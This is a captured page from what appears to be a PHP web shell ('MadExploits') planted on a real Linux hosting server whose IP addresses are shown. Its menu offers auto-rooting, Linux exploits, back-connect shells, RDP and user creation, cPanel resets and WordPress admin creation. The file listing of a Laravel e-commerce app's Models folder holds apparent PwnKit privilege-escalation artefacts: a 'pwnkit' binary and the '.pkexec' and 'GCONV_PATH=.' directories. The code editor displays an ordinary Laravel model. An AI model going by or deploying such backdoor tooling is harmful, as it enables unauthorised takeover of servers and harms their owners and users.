Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.125
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
mydemowebs /
.trash /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AccountTransaction.php
1.32
KB
-rwxr-xr-x
AddOn.php
2.53
KB
-rwxr-xr-x
AddonCategory.php
2.4
KB
-rwxr-xr-x
Admin.php
3.75
KB
-rwxr-xr-x
AdminFeature.php
2.64
KB
-rwxr-xr-x
AdminPromotionalBanner.php
2.65
KB
-rwxr-xr-x
AdminRole.php
1.7
KB
-rwxr-xr-x
AdminSpecialCriteria.php
2.65
KB
-rwxr-xr-x
AdminTestimonial.php
2.65
KB
-rwxr-xr-x
AdminWallet.php
315
B
-rwxr-xr-x
Advertisement.php
6.44
KB
-rwxr-xr-x
Allergy.php
491
B
-rwxr-xr-x
AllergyItem.php
352
B
-rwxr-xr-x
AllergyItemCampaign.php
359
B
-rwxr-xr-x
AnalyticScript.php
813
B
-rwxr-xr-x
Attribute.php
1.45
KB
-rwxr-xr-x
AutomatedMessage.php
1.07
KB
-rwxr-xr-x
Banner.php
4.86
KB
-rwxr-xr-x
Brand.php
4.15
KB
-rwxr-xr-x
BusinessSetting.php
1.51
KB
-rwxr-xr-x
Campaign.php
4.09
KB
-rwxr-xr-x
Cart.php
811
B
-rwxr-xr-x
CashBack.php
2
KB
-rwxr-xr-x
CashBackHistory.php
901
B
-rwxr-xr-x
Category.php
5.03
KB
-rwxr-xr-x
CommonCondition.php
3.06
KB
-rwxr-xr-x
Contact.php
318
B
-rwxr-xr-x
Conversation.php
2.99
KB
-rwxr-xr-x
Coupon.php
3.31
KB
-rwxr-xr-x
Currency.php
209
B
-rwxr-xr-x
CustomerAddress.php
278
B
-rwxr-xr-x
DMReview.php
770
B
-rwxr-xr-x
DMVehicle.php
1.38
KB
-rwxr-xr-x
DataSetting.php
1.92
KB
-rwxr-xr-x
DeliveryHistory.php
468
B
-rwxr-xr-x
DeliveryMan.php
6.31
KB
-rwxr-xr-x
DeliveryManWallet.php
778
B
-rwxr-xr-x
Disbursement.php
285
B
-rwxr-xr-x
DisbursementDetails.php
930
B
-rwxr-xr-x
DisbursementWithdrawalMethod.p...
554
B
-rwxr-xr-x
Discount.php
903
B
-rwxr-xr-x
EcommerceItemDetails.php
443
B
-rwxr-xr-x
EmailTemplate.php
5.41
KB
-rwxr-xr-x
EmailVerifications.php
189
B
-rwxr-xr-x
EmployeeRole.php
960
B
-rwxr-xr-x
Expense.php
1.01
KB
-rwxr-xr-x
ExternalConfiguration.php
314
B
-rwxr-xr-x
FAQ.php
1.38
KB
-rwxr-xr-x
FlashSale.php
2.34
KB
-rwxr-xr-x
FlashSaleItem.php
1
KB
-rwxr-xr-x
FlutterSpecialCriteria.php
2.32
KB
-rwxr-xr-x
GenericName.php
538
B
-rwxr-xr-x
Guest.php
321
B
-rwxr-xr-x
Item.php
10.72
KB
-rwxr-xr-x
ItemCampaign.php
5.88
KB
-rwxr-xr-x
ItemCampaignGenericName.php
422
B
-rwxr-xr-x
ItemCampaignNutrition.php
363
B
-rwxr-xr-x
ItemGenericName.php
405
B
-rwxr-xr-x
ItemNutrition.php
356
B
-rwxr-xr-x
ItemTag.php
386
B
-rwxr-xr-x
LoyaltyPointTransaction.php
533
B
-rwxr-xr-x
MailConfig.php
381
B
-rwxr-xr-x
Message.php
1.81
KB
-rwxr-xr-x
Module.php
5.88
KB
-rwxr-xr-x
ModuleType.php
181
B
-rwxr-xr-x
ModuleWiseBanner.php
2.7
KB
-rwxr-xr-x
ModuleWiseWhyChoose.php
2.84
KB
-rwxr-xr-x
ModuleZone.php
611
B
-rwxr-xr-x
Newsletter.php
170
B
-rwxr-xr-x
Notification.php
3.2
KB
-rwxr-xr-x
NotificationMessage.php
342
B
-rwxr-xr-x
NotificationSetting.php
225
B
-rwxr-xr-x
Nutrition.php
536
B
-rwxr-xr-x
OfflinePaymentMethod.php
364
B
-rwxr-xr-x
OfflinePayments.php
282
B
-rwxr-xr-x
Order.php
9.75
KB
-rwxr-xr-x
OrderCancelReason.php
1.07
KB
-rwxr-xr-x
OrderDeliveryHistory.php
191
B
-rwxr-xr-x
OrderDetail.php
1.15
KB
-rwxr-xr-x
OrderPayment.php
476
B
-rwxr-xr-x
OrderReference.php
517
B
-rwxr-xr-x
OrderTransaction.php
1.14
KB
-rwxr-xr-x
ParcelCancellation.php
544
B
-rwxr-xr-x
ParcelCancellationReason.php
1.08
KB
-rwxr-xr-x
ParcelCategory.php
3.21
KB
-rwxr-xr-x
ParcelDeliveryInstruction.php
1.09
KB
-rwxr-xr-x
PasswordReset.php
249
B
-rwxr-xr-x
PaymentRequest.php
270
B
-rwxr-xr-x
PharmacyItemDetails.php
544
B
-rwxr-xr-x
PhoneVerification.php
221
B
-rwxr-xr-x
PriorityList.php
558
B
-rwxr-xr-x
ProvideDMEarning.php
432
B
-rwxr-xr-x
ReactPromotionalBanner.php
2.78
KB
-rwxr-xr-x
ReactTestimonial.php
2.72
KB
-rwxr-xr-x
RecentSearch.php
390
B
-rwxr-xr-x
Refund.php
1.84
KB
-rwxr-xr-x
RefundReason.php
1.06
KB
-rwxr-xr-x
Review.php
1.82
KB
-rwxr-xr-x
Setting.php
759
B
-rwxr-xr-x
SocialMedia.php
470
B
-rwxr-xr-x
Storage.php
376
B
-rwxr-xr-x
Store.php
26.57
KB
-rwxr-xr-x
StoreConfig.php
1001
B
-rwxr-xr-x
StoreNotificationSetting.php
317
B
-rwxr-xr-x
StoreSchedule.php
567
B
-rwxr-xr-x
StoreSubscription.php
1.45
KB
-rwxr-xr-x
StoreWallet.php
583
B
-rwxr-xr-x
SubscriptionBillingAndRefundHi...
343
B
-rwxr-xr-x
SubscriptionPackage.php
2.37
KB
-rwxr-xr-x
SubscriptionTransaction.php
1.25
KB
-rwxr-xr-x
SurgePrice.php
1.8
KB
-rwxr-xr-x
SurgePriceDate.php
737
B
-rwxr-xr-x
Tag.php
330
B
-rwxr-xr-x
TempProduct.php
5.43
KB
-rwxr-xr-x
TrackDeliveryman.php
187
B
-rwxr-xr-x
Translation.php
528
B
-rwxr-xr-x
Unit.php
1.44
KB
-rwxr-xr-x
User.php
3.4
KB
-rwxr-xr-x
UserInfo.php
2.88
KB
-rwxr-xr-x
UserNotification.php
436
B
-rwxr-xr-x
Vendor.php
3.72
KB
-rwxr-xr-x
VendorEmployee.php
2.25
KB
-rwxr-xr-x
WalletBonus.php
3.2
KB
-rwxr-xr-x
WalletPayment.php
184
B
-rwxr-xr-x
WalletTransaction.php
551
B
-rwxr-xr-x
Wishlist.php
444
B
-rwxr-xr-x
WithdrawRequest.php
934
B
-rwxr-xr-x
WithdrawalMethod.php
471
B
-rwxr-xr-x
Zone.php
4.4
KB
-rwxr-xr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Item.php
<?php namespace App\Models; use App\Scopes\ZoneScope; use App\Scopes\StoreScope; use Illuminate\Support\Str; use App\Traits\ReportFilter; use App\CentralLogics\Helpers; use Illuminate\Support\Facades\DB; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Factories\HasFactory; use Modules\TaxModule\Entities\Taxable; class Item extends Model { use HasFactory, ReportFilter; protected $guarded = ['id']; protected $with = ['translations','storage']; protected $casts = [ 'tax' => 'float', 'price' => 'float', 'status' => 'integer', 'discount' => 'float', 'avg_rating' => 'float', 'set_menu' => 'integer', 'category_id' => 'integer', 'store_id' => 'integer', 'reviews_count' => 'integer', 'recommended' => 'integer', 'maximum_cart_quantity' => 'integer', 'organic' => 'integer', 'created_at' => 'datetime', 'updated_at' => 'datetime', 'veg' => 'integer', 'images' => 'array', 'module_id' => 'integer', 'is_approved' => 'integer', 'stock' => 'integer', "min_price" => 'float', "max_price" => 'float', 'order_count' => 'integer', 'rating_count' => 'integer', 'unit_id' => 'integer', 'is_halal' => 'integer', ]; protected $appends = ['unit_type', 'image_full_url', 'images_full_url']; public function scopeRecommended($query) { return $query->where('recommended', 1); } public function carts() { return $this->morphMany(Cart::class, 'item'); } public function temp_product() { return $this->hasOne(TempProduct::class, 'item_id')->with('translations'); } public function scopeDiscounted($query) { // return $query->where('discount','>',0); $nowDate = now()->format('Y-m-d'); $nowTime = now()->format('H:i'); return $query->where(function ($query) use ($nowDate, $nowTime) { $query->where('discount', '>', 0) ->orWhereHas('store.discount', function ($q) use ($nowDate, $nowTime) { $q->whereDate('start_date', '<=', $nowDate) ->whereDate('end_date', '>=', $nowDate) ->whereTime('start_time', '<=', $nowTime) ->whereTime('end_time', '>=', $nowTime); }) ->orWhereHas('flashSaleItems.flashSale', function ($q) use ($nowDate, $nowTime) { $q->where('is_publish', 1) ->whereDate('start_date', '<=', $nowDate) ->whereDate('end_date', '>=', $nowDate); }); }); } public function translations() { return $this->morphMany(Translation::class, 'translationable'); } public function scopeModule($query, $module_id) { return $query->where('module_id', $module_id); } public function scopeActive($query) { return $query->where('status', 1)->where('is_approved', 1) ->whereHas('store', function ($query) { $query->where('status', 1) ->where(function ($query) { $query->where('store_business_model', 'commission') ->orWhereHas('store_sub', function ($query) { $query->where(function ($query) { $query->where('max_order', 'unlimited')->orWhere('max_order', '>', 0); }); }); }); }); } public function scopePopular($query) { return $query->orderBy('order_count', 'desc'); } public function scopeApproved($query) { return $query->where('is_approved', 1); } public function reviews() { return $this->hasMany(Review::class)->latest(); } public function whislists() { return $this->hasMany(Wishlist::class); } public function unit() { return $this->belongsTo(Unit::class, 'unit_id'); } public function module() { return $this->belongsTo(Module::class, 'module_id'); } // public function scopeHasRunningFlashSale($query) // { // return $query->whereHas('flashSaleItems', function ($query) { // $query->whereHas('flashSale', function ($query) { // $query->Running(); // }); // }); // } public function flashSaleItems() { return $this->hasMany(FlashSaleItem::class); } public function getUnitTypeAttribute() { return $this->unit ? $this->unit->unit : null; } public function getNameAttribute($value) { if (count($this->translations) > 0) { foreach ($this->translations as $translation) { if ($translation['key'] == 'name') { return $translation['value']; } } } return $value; } public function getDescriptionAttribute($value) { if (count($this->translations) > 0) { foreach ($this->translations as $translation) { if ($translation['key'] == 'description') { return $translation['value']; } } } return $value; } public function getImageFullUrlAttribute() { $value = $this->image; if (count($this->storage) > 0) { foreach ($this->storage as $storage) { if ($storage['key'] == 'image') { return Helpers::get_full_url('product', $value, $storage['value']); } } } return Helpers::get_full_url('product', $value, 'public'); } public function getImagesFullUrlAttribute() { $images = []; $value = is_array($this->images) ? $this->images : ($this->images && is_string($this->images) && $this->isValidJson($this->images) ? json_decode($this->images, true) : []); if ($value) { foreach ($value as $item) { $item = is_array($item) ? $item : (is_object($item) && get_class($item) == 'stdClass' ? json_decode(json_encode($item), true) : ['img' => $item, 'storage' => 'public']); $images[] = Helpers::get_full_url('product', $item['img'], $item['storage']); } } return $images; } private function isValidJson($string) { json_decode($string); return (json_last_error() === JSON_ERROR_NONE); } public function store() { return $this->belongsTo(Store::class); } public function category() { return $this->belongsTo(Category::class, 'category_id'); } public function pharmacy_item_details() { return $this->hasOne(PharmacyItemDetails::class, 'item_id'); } public function ecommerce_item_details() { return $this->hasOne(EcommerceItemDetails::class, 'item_id'); } public function orders() { return $this->hasMany(OrderDetail::class); } protected static function booted() { if (auth('vendor')->check() || auth('vendor_employee')->check()) { static::addGlobalScope(new StoreScope); } static::addGlobalScope(new ZoneScope); static::addGlobalScope('storage', function ($builder) { $builder->with('storage'); }); static::addGlobalScope('translate', function (Builder $builder) { $builder->with(['translations' => function ($query) { return $query->where('locale', app()->getLocale()); }]); }); } public function scopeType($query, $type) { if ($type == 'veg') { return $query->where('veg', true); } else if ($type == 'non_veg') { return $query->where('veg', false); } return $query; } public function scopeAvailable($query, $time) { $query->where(function ($q) use ($time) { $q->where('available_time_starts', '<=', $time)->where('available_time_ends', '>=', $time); }); } public function scopeUnAvailable($query, $time) { $query->whereNot(function ($q) use ($time) { $q->where('available_time_starts', '<=', $time)->where('available_time_ends', '>=', $time); }); } public function tags() { return $this->belongsToMany(Tag::class); } public function allergies() { return $this->belongsToMany(Allergy::class); } public function generic() { return $this->belongsToMany(GenericName::class, 'item_generic_names'); } public function nutritions() { return $this->belongsToMany(Nutrition::class); } public function storage() { return $this->morphMany(Storage::class, 'data'); } protected static function boot() { parent::boot(); static::created(function ($item) { $item->slug = $item->generateSlug($item->name); $item->save(); }); static::saved(function ($model) { if ($model->isDirty('image')) { $value = Helpers::getDisk(); DB::table('storages')->updateOrInsert([ 'data_type' => get_class($model), 'data_id' => $model->id, 'key' => 'image', ], [ 'value' => $value, 'created_at' => now(), 'updated_at' => now(), ]); } if ($model->isDirty('images')) { $value = Helpers::getDisk(); DB::table('storages')->updateOrInsert([ 'data_type' => get_class($model), 'data_id' => $model->id, 'key' => 'images', ], [ 'value' => $value, 'created_at' => now(), 'updated_at' => now(), ]); } }); } private function generateSlug($name) { $slug = Str::slug($name); if ($max_slug = static::where('slug', 'like', "{$slug}%")->latest('id')->value('slug')) { if ($max_slug == $slug) return "{$slug}-2"; $max_slug = explode('-', $max_slug); $count = array_pop($max_slug); if (isset($count) && is_numeric($count)) { $max_slug[] = ++$count; return implode('-', $max_slug); } } return $slug; } public function taxVats() { return $this->morphMany(Taxable::class, 'taxable'); } }
Close